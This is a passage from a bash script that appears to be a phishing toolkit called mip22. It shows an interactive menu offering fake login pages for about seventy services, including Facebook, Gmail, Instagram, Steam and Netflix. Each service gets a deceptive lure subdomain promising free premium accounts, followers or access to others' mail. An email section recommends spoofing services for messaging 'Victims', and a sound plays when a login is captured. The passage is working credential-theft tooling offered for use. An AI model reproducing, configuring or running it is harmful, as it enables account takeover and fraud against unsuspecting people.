  502. case $REPLY in
  503. 1)
  504. xterm -e nohup mpv .music/mis_song.mp3 > /dev/null 2>&1
  505. menu;;
  506. 2)
  507. pidof mpv && killall mpv > /dev/null 2>&1
  508. menu;;
  509. 99)
  510. menu;;
  511. *)
  512. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...";;
  513. esac
  514. }
  515. notice_login()
  516. {
  517. xterm -e nohup mpv .notifications/find_login.mp3 > /dev/null 2>&1
  518. }
  519. attack() {
  520. { clear; header; echo; }
  521. cat <<- EOF
  522. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Adobe ${GREEN}[${WHITE}25${GREEN}]${CYAN} Line ${GREEN}[${WHITE}49${GREEN}]${CYAN} Spotify
  523. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Amazon ${GREEN}[${WHITE}26${GREEN}]${CYAN} LinkedIn ${GREEN}[${WHITE}50${GREEN}]${CYAN} Stackoverflow
  524. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Apple ${GREEN}[${WHITE}27${GREEN}]${CYAN} Livejournal ${GREEN}[${WHITE}51${GREEN}]${CYAN} Steam
  525. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Baddo ${GREEN}[${WHITE}28${GREEN}]${CYAN} Mediafire ${GREEN}[${WHITE}52${GREEN}]${CYAN} Tagged
  526. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Care2 ${GREEN}[${WHITE}29${GREEN}]${CYAN} MeWe ${GREEN}[${WHITE}53${GREEN}]${CYAN} Telegram
  527. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Clashofclans ${GREEN}[${WHITE}30${GREEN}]${CYAN} Microsoft ${GREEN}[${WHITE}54${GREEN}]${CYAN} Tiktok
  528. ${GREEN}[${WHITE}7${GREEN}]${CYAN} Crunchyroll ${GREEN}[${WHITE}31${GREEN}]${CYAN} Mocospace ${GREEN}[${WHITE}55${GREEN}]${CYAN} Tiktok Followers
  529. ${GREEN}[${WHITE}8${GREEN}]${CYAN} Deviantart ${GREEN}[${WHITE}32${GREEN}]${CYAN} Myspace ${GREEN}[${WHITE}56${GREEN}]${CYAN} Tumblr
  530. ${GREEN}[${WHITE}9${GREEN}]${CYAN} Discord ${GREEN}[${WHITE}33${GREEN}]${CYAN} Netflix ${GREEN}[${WHITE}57${GREEN}]${CYAN} Twitch
  531. ${GREEN}[${WHITE}10${GREEN}]${CYAN} Dota2 ${GREEN}[${WHITE}34${GREEN}]${CYAN} Origin ${GREEN}[${WHITE}58${GREEN}]${CYAN} Twitter
  532. ${GREEN}[${WHITE}11${GREEN}]${CYAN} Dropbox ${GREEN}[${WHITE}35${GREEN}]${CYAN} Outlook ${GREEN}[${WHITE}59${GREEN}]${CYAN} Viber Out
  533. ${GREEN}[${WHITE}12${GREEN}]${CYAN} Ebay ${GREEN}[${WHITE}36${GREEN}]${CYAN} Pinterest ${GREEN}[${WHITE}60${GREEN}]${CYAN} Vimeo
  534. ${GREEN}[${WHITE}13${GREEN}]${CYAN} Facebook ${GREEN}[${WHITE}37${GREEN}]${CYAN} Playstation ${GREEN}[${WHITE}61${GREEN}]${CYAN} Vk
  535. ${GREEN}[${WHITE}14${GREEN}]${CYAN} Facebook Messenger ${GREEN}[${WHITE}38${GREEN}]${CYAN} Protonmail ${GREEN}[${WHITE}62${GREEN}]${CYAN} Whatsapp
  536. ${GREEN}[${WHITE}15${GREEN}]${CYAN} Facebook Security ${GREEN}[${WHITE}49${GREEN}]${CYAN} Pubg ${GREEN}[${WHITE}63${GREEN}]${CYAN} Wordpress
  537. ${GREEN}[${WHITE}16${GREEN}]${CYAN} Gmail ${GREEN}[${WHITE}40${GREEN}]${CYAN} Quora ${GREEN}[${WHITE}64${GREEN}]${CYAN} Xanga
  538. ${GREEN}[${WHITE}17${GREEN}]${CYAN} Goodreads ${GREEN}[${WHITE}41${GREEN}]${CYAN} Reverly ${GREEN}[${WHITE}65${GREEN}]${CYAN} Xbox
  539. ${GREEN}[${WHITE}18${GREEN}]${CYAN} Hotstar ${GREEN}[${WHITE}42${GREEN}]${CYAN} Reddit ${GREEN}[${WHITE}66${GREEN}]${CYAN} Xing
  540. ${GREEN}[${WHITE}19${GREEN}]${CYAN} Icloud ${GREEN}[${WHITE}43${GREEN}]${CYAN} Reverbnation ${GREEN}[${WHITE}67${GREEN}]${CYAN} Yahoo
  541. ${GREEN}[${WHITE}20${GREEN}]${CYAN} Influenster ${GREEN}[${WHITE}44${GREEN}]${CYAN} Signal ${GREEN}[${WHITE}68${GREEN}]${CYAN} Yandex
  542. ${GREEN}[${WHITE}21${GREEN}]${CYAN} Instagram ${GREEN}[${WHITE}45${GREEN}]${CYAN} Skype ${GREEN}[${WHITE}69${GREEN}]${CYAN} Youtube SUbs
  543. ${GREEN}[${WHITE}22${GREEN}]${CYAN} Insta Followers ${GREEN}[${WHITE}46${GREEN}]${CYAN} Skyrock ${GREEN}[${WHITE}02${GREEN}]${CYAN} Others
  544. ${GREEN}[${WHITE}23${GREEN}]${CYAN} Insta Followers 2 ${GREEN}[${WHITE}47${GREEN}]${CYAN} Snapchat ${GREEN}[${WHITE}99${GREEN}]${MAGENTA} Main Menu
  545. ${GREEN}[${WHITE}24${GREEN}]${CYAN} Instagram Verify ${GREEN}[${WHITE}48${GREEN}]${CYAN} Socialclub
  546. EOF
  547. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  548. case $REPLY in
  549. 1)
  550. site="adobe"
  551. subdomain='http://adobe-pro-membership-lifetime-for-you'
  552. tunnel;;
  553. 2)
  554. site="amazon"
  555. subdomain='http://amazon-pro-membership-lifetime-for-you'
  556. tunnel;;
  557. 3)
  558. site="apple"
  559. subdomain='http://apple-security-account-login'
  560. tunnel;;
  561. 4)
  562. site="badoo"
  563. subdomain='http://get-2000-euro-free-for-your-acount'
  564. tunnel;;
  565. 5)
  566. site="care2"
  567. subdomain='http://get-2000-tokens-free-for-your-acount'
  568. tunnel;;
  569. 6)
  570. site="clashofclans"
  571. subdomain='http://get-free-character-for-clashofclans-game'
  572. tunnel;;
  573. 7)
  574. site="crunchyroll"
  575. subdomain='http://get-free-character-for-crunchyroll-game'
  576. tunnel;;
  577. 8)
  578. site="deviantart"
  579. subdomain='http://deviantart-upgrade-account-pro-for-free'
  580. tunnel;;
  581. 9)
  582. site="discord"
  583. subdomain='http://discord-upgrade-account-pro-for-free'
  584. tunnel;;
  585. 10)
  586. site="dota2"
  587. subdomain='http://dota-upgrade-account-pro-for-free'
  588. tunnel;;
  589. 11)
  590. site="dropbox"
  591. subdomain='http://get-2TB-cloud-storage-free'
  592. tunnel;;
  593. 12)
  594. site="ebay"
  595. subdomain='http://ebay-upgrade-account-for-free'
  596. tunnel;;
  597. 13)
  598. site="facebook"
  599. subdomain='http://secure-verified-account-for-facebook'
  600. tunnel;;
  601. 14)
  602. site="facebook_messenger"
  603. subdomain='http://messenger-premium-features-for-free'
  604. tunnel;;
  605. 15)
  606. site="facebook_security"
  607. subdomain='http://make-your-facebook-secured-from-hackers'
  608. tunnel;;
  609. 16)
  610. site="gmail"
  611. subdomain='http://get-unlimited-google-drive-free'
  612. tunnel;;
  613. 17)
  614. site="goodreads"
  615. subdomain='http://goodreads-updrade-account-lifetime-free'
  616. tunnel;;
  617. 18)
  618. site="hotstar"
  619. subdomain='http://hotstar-premieum-account-for-free'
  620. tunnel;;
  621. 19)
  622. site="icloud"
  623. subdomain='http://get-2TB-cloud-storage-free'
  624. tunnel;;
  625. 20)
  626. site="influenster"
  627. subdomain='http://update-account-to-premium-free'
  628. tunnel;;
  629. 21)
  630. site="instagram"
  631. subdomain='http://secure-login-for-instagram'
  632. tunnel;;
  633. 22)
  634. site="instagram_followers"
  635. subdomain='http://get-10000-followers-for-instagram'
  636. tunnel;;
  637. 23)
  638. site="instagram_followers_2"
  639. subdomain='http://get-10000-followers-for-instagram'
  640. tunnel;;
  641. 24)
  642. site="instagram_verify"
  643. subdomain='http://instagram-verify-account'
  644. tunnel;;
  645. 25)
  646. site="line"
  647. subdomain='http://line-get-free-tokens-for-speech'
  648. tunnel;;
  649. 26)
  650. site="linkedin"
  651. subdomain='http://get-a-premium-plan-for-linkedin-free'
  652. tunnel;;
  653. 27)
  654. site="livejournal"
  655. subdomain='http://get-a-premium-plan-for-livejournal-free'
  656. tunnel;;
  657. 28)
  658. site="mediafire"
  659. subdomain='http://get-2TB-cloud-storage-free'
  660. tunnel;;
  661. 29)
  662. site="mewe"
  663. subdomain='http://mewe-update-account-to-premium-free'
  664. tunnel;;
  665. 30)
  666. site="microsoft"
  667. subdomain='http://unlimited-onedrive-space-for-free'
  668. tunnel;;
  669. 31)
  670. site="mocospace"
  671. subdomain='http://upgrade-your-mocospace-plan-free'
  672. tunnel;;
  673. 32)
  674. site="myspace"
  675. subdomain='http://upgrade-your-myspace-plan-free'
  676. tunnel;;
  677. 33)
  678. site="netflix"
  679. subdomain='http://upgrade-your-netflix-plan-free'
  680. tunnel;;
  681. 34)
  682. site="origin"
  683. subdomain='http://origin-upgrade-to-premium-account-free'
  684. tunnel;;
  685. 35)
  686. site="outlook"
  687. subdomain='http://unlimited-onedrive-space-for-free'
  688. tunnel;;
  689. 36)
  690. site="pinterest"
  691. subdomain='http://get-a-premium-plan-for-pinterest-free'
  692. tunnel;;
  693. 37)
  694. site="playstation"
  695. subdomain='http://playstation-premium-account-free'
  696. tunnel;;
  697. 38)
  698. site="protonmail"
  699. subdomain='http://protonmail-pro-basics-for-free'
  700. tunnel;;
  701. 39)
  702. site="pubg"
  703. subdomain='http://get-free-character-for-pubs-game'
  704. tunnel;;
  705. 40)
  706. site="quora"
  707. subdomain='http://get-quora-premium-account-for-free-lifetime'
  708. tunnel;;
  709. 41)
  710. site="raverly"
  711. subdomain='http://get-raverly-premium-account-for-free-'
  712. tunnel;;
  713. 42)
  714. site="reddit"
  715. subdomain='http://reddit-official-verified-member-badge'
  716. tunnel;;
  717. 43)
  718. site="reverbnation"
  719. subdomain='http://get-reverbnation-premium-account-for-free-'
  720. tunnel;;
  721. 44)
  722. site="signal"
  723. subdomain='http://signal-get-free-tokens-for-speech'
  724. tunnel;;
  725. 45)
  726. site="skype"
  727. subdomain='http://skype-get-free-tokens-for-speech'
  728. tunnel;;
  729. 46)
  730. site="skyrock"
  731. subdomain='http://skyrock-upgrade-to-premium-account-free'
  732. tunnel;;
  733. 47)
  734. site="snapchat"
  735. subdomain='http://view-locked-snapchat-accounts-secretly'
  736. tunnel;;
  737. 48)
  738. site="socialclub"
  739. subdomain='http://-socialclub-update-account-to-premieum-free'
  740. tunnel;;
  741. 49)
  742. site="spotify"
  743. subdomain='http://convert-your-account-to-spotify-premium'
  744. tunnel;;
  745. 50)
  746. site="stackoverflow"
  747. subdomain='http://stackoverflow-convert-your-account-to-premium'
  748. tunnel;;
  749. 51)
  750. site="steam"
  751. subdomain='http://steam-convert-your-account-to-premium'
  752. tunnel;;
  753. 52)
  754. site="tagget"
  755. subdomain='http://tagget-convert-your-account-to-premium'
  756. tunnel;;
  757. 53)
  758. site="telegram"
  759. subdomain='http://telegram-get-free-tokens-for-speech'
  760. tunnel;;
  761. 54)
  762. site="tiktok"
  763. subdomain='http://get-tiktok-100000-followers-free-at-instant'
  764. tunnel;;
  765. 55)
  766. site="tiktok_followers"
  767. subdomain='http://get-tiktok-100000-followers-free-at-instant'
  768. tunnel;;
  769. 56)
  770. site="tumblr"
  771. subdomain='http://tumblr-upgrade-account-to-premium-free'
  772. tunnel;;
  773. 57)
  774. site="twitch"
  775. subdomain='http://unlimited-twitch-tv-user-for-free'
  776. tunnel;;
  777. 58)
  778. site="twitter"
  779. subdomain='http://get-blue-badge-on-twitter-free'
  780. tunnel;;
  781. 59)
  782. site="viber_out"
  783. subdomain='http://viber-get-free-tokens-for-speech'
  784. tunnel;;
  785. 60)
  786. site="vimeo"
  787. subdomain='http://get-100000-views-for-channel-free'
  788. tunnel;;
  789. 61)
  790. site="vk"
  791. subdomain='http://vk-premium-real-method-2022-free'
  792. tunnel;;
  793. 62)
  794. site="whatsapp"
  795. subdomain='http://get-3000-free-tokens-for-free'
  796. tunnel;;
  797. 63)
  798. site="wordpress"
  799. subdomain='http://get-unlimited-wordpress-traffic-free'
  800. tunnel;;
  801. 64)
  802. site="xanga"
  803. subdomain='http://xanga-update-account-to-premieum'
  804. tunnel;;
  805. 65)
  806. site="xbox"
  807. subdomain='http://xbox-premium-account-new-method-2022'
  808. tunnel;;
  809. 66)
  810. site="xing"
  811. subdomain='http://xing-update-account-to-premieum'
  812. tunnel;;
  813. 67)
  814. site="yahoo"
  815. subdomain='http://grab-mail-from-anyother-yahoo-account-free'
  816. tunnel;;
  817. 68)
  818. site="yandex"
  819. subdomain='http://grab-mail-from-anyother-yandex-account-free'
  820. tunnel;;
  821. 69)
  822. site="youtube_subs"
  823. subdomain='http://get-100000-youtube-subscribers-free'
  824. tunnel;;
  825. 02)
  826. other_sites;;
  827. 99) menu;;
  828. *)
  829. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  830. { sleep 0.7; attack;};;
  831. esac
  832. }
  833. other_sites() {
  834. { clear; header; echo; }
  835. cat <<- EOF
  836. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Freefire
  837. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Roblox
  838. ${GREEN}[${WHITE}99${GREEN}]${MAGENTA} Main Menu
  839. EOF
  840. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  841. case $REPLY in
  842. 1)
  843. site="freefire"
  844. subdomain='http://get-free-character-for-freefire-game'
  845. tunnel;;
  846. 2)
  847. site="roblox"
  848. subdomain='http://get-free-character-for-roblox-game'
  849. tunnel;;
  850. 99) menu;;
  851. *)
  852. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
  853. { sleep 0.7; other_sites;};;
  854. esac
  855. }
  856. attack_manual() {
  857. subdomain='http:secure-login-page'
  858. tunnel_manual
  859. }
  860. email() {
  861. { clear; header; echo; }
  862. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Use this services for send email to Victims \n"
  863. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://www.guerrillamail.com/ \n"
  864. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://emkei.cz/ ${MAGENTA} (recommended) \n"
  865. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://mailspre.com/ \n"
  866. echo -ne "\n\n"
  867. cat <<- EOF
  868. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  869. EOF
  870. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  871. case $REPLY in
  872. 99) menu;;
  873. *)
  874. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  875. { sleep 0.7; email;};;
  876. esac
  877. }
  878. menu() {
  879. { clear; header; echo; }
  880. cat <<- EOF
  881. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Attack Default
  882. ${GREEN}[${WHITE}2${GREEN}]${CYAN} Attack Manual
  883. ${GREEN}[${WHITE}3${GREEN}]${CYAN} Apis
  884. ${GREEN}[${WHITE}4${GREEN}]${CYAN} Email
  885. ${GREEN}[${WHITE}5${GREEN}]${CYAN} Vpn
  886. ${GREEN}[${WHITE}6${GREEN}]${CYAN} Sound (pc only)
  887. ${GREEN}[${WHITE}0${GREEN}]${ORANGE} Exit
  888. EOF
  889. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
  890. case $REPLY in
  891. 1) attack;;
  892. 2) attack_manual;;
  893. 3) apis;;
  894. 4) email;;
  895. 5) vpn_setup;;
  896. 6) play_music;;
  897. help) help;;
  898. 0)
  899. echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${ORANGE} Thanks for using mip22 "${WHITE}
  900. sleep 2
  901. clear
  902. exit 1;;
  903. *)
  904. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  905. { sleep 0.7; menu;};;
  906. esac
  907. }
  908. control_c()
  909. {
  910. echo -e "${RESETBG}"
  911. echo -e "${RESETFG}"
  912. clear
  913. exit 1
  914. }
  915. trap control_c SIGINT
  916. check_os_and_install_packages
  917. check_root_and_os
  918. pid_kill
  919. menu